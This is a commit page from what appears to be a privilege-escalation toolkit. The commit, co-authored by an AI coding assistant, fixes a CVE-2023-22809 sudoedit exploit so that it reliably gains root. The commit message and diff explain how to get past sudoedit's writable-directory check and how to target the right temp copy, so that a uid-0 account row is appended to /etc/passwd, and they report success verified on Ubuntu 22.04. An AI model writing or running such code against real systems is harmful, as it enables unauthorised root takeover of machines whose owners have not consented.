sudoedit_editor: fix CVE-2023-22809 exploit to actually land root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
The module built the right EDITOR="helper -- /etc/passwd" injection but failed
two ways, both now fixed (VM-verified root on Ubuntu 22.04.0 / sudo
1.9.9-1ubuntu2):
1. Writable-CWD guard: sudoedit refuses to edit any file whose parent dir is
user-writable. The injected "--" is resolved relative to CWD, so running
from home/tmp made sudoedit abort "--: editing files in a writable
directory" before the editor ran. Fix: chdir("/") in the sudoedit child.
2. Wrong tmp copy: sudoedit hands the editor one tmp copy per file, named
<basename>.XXXXXX. The helper wrote argv[argc-1] — the sudoers-authorized
COVER file (e.g. motd), not the target. Fix: the helper now matches the
target's basename prefix (passed via SKEL_TARGET) to pick the right copy.
Result: /etc/passwd gains a skel::0:0 row; `su skel` -> uid=0(root).
docs/EXPLOITED.md + VERIFICATIONS.jsonl updated. Unit harness green.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -291,14 +291,21 @@ static const char HELPER_SOURCE[] =
|
||||
"#include <unistd.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" /* sudoedit invokes us with one editable temp per file. The\n"
|
||||
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
|
||||
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
|
||||
" * then *copies it back as root*), so we modify the tmp copy\n"
|
||||
" * and let sudoedit do the privileged install for us. */\n"
|
||||
" /* sudoedit invokes us with one editable temp copy per file, each\n"
|
||||
" * named <basename>.XXXXXX in a tmp dir (e.g. /var/tmp/passwd.AbC123\n"
|
||||
" * for /etc/passwd). We must write the TARGET's copy — NOT argv[argc-1],\n"
|
||||
" * which is the sudoers-authorized cover file. Match by the target's\n"
|
||||
" * basename prefix (passed in SKEL_TARGET). We modify the tmp copy and\n"
|
||||
" * sudoedit copies it back over the real file as root. */\n"
|
||||
" if (argc < 2) return 1;\n"
|
||||
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
|
||||
" const char *path = argv[argc-1];\n"
|
||||
" const char *tb = getenv(\"SKEL_TARGET\"); if (!tb || !*tb) tb = \"passwd\";\n"
|
||||
" char pref[128]; snprintf(pref, sizeof pref, \"%s.\", tb);\n"
|
||||
" const char *path = NULL;\n"
|
||||
" for (int i = 1; i < argc; i++) {\n"
|
||||
" const char *b = strrchr(argv[i], '/'); b = b ? b+1 : argv[i];\n"
|
||||
" if (strncmp(b, pref, strlen(pref)) == 0) { path = argv[i]; break; }\n"
|
||||
" }\n"
|
||||
" if (!path) path = argv[argc-1]; /* fallback */\n"
|
||||
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
||||
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
||||
" const char *line = getenv(\"SKEL_LINE\");\n"
|
||||
@@ -441,6 +448,12 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
char skel_env[256];
|
||||
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
||||
|
||||
/* Pass the target's basename so the helper writes the RIGHT tmp copy
|
||||
* (sudoedit names each editable copy <basename>.XXXXXX). */
|
||||
const char *tb = strrchr(target, '/'); tb = tb ? tb + 1 : target;
|
||||
char tgt_env[128];
|
||||
snprintf(tgt_env, sizeof tgt_env, "SKEL_TARGET=%s", tb);
|
||||
|
||||
/* Construct argv/envp for execve. We need a clean env so the
|
||||
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
||||
* compiled helper can be located — except we pass it absolute. */
|
||||
@@ -455,6 +468,7 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
char *envp[] = {
|
||||
editor_env,
|
||||
skel_env,
|
||||
tgt_env,
|
||||
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
"TERM=dumb",
|
||||
NULL,
|
||||
@@ -469,6 +483,13 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
/* CRITICAL: run from a NON-writable directory. sudoedit refuses to
|
||||
* edit any file whose parent directory is writable by the invoking
|
||||
* user (anti-symlink check). The injected "--" is resolved as a file
|
||||
* relative to CWD, so a writable CWD (home/tmp) makes sudoedit abort
|
||||
* with "--: editing files in a writable directory is not permitted"
|
||||
* before it ever runs the editor. "/" is not user-writable. */
|
||||
if (chdir("/") != 0) { perror("chdir /"); _exit(126); }
|
||||
execve(sudoedit_path, new_argv, envp);
|
||||
perror("execve(sudoedit)");
|
||||
_exit(127);
|
||||
|
||||
Reference in New Issue
Block a user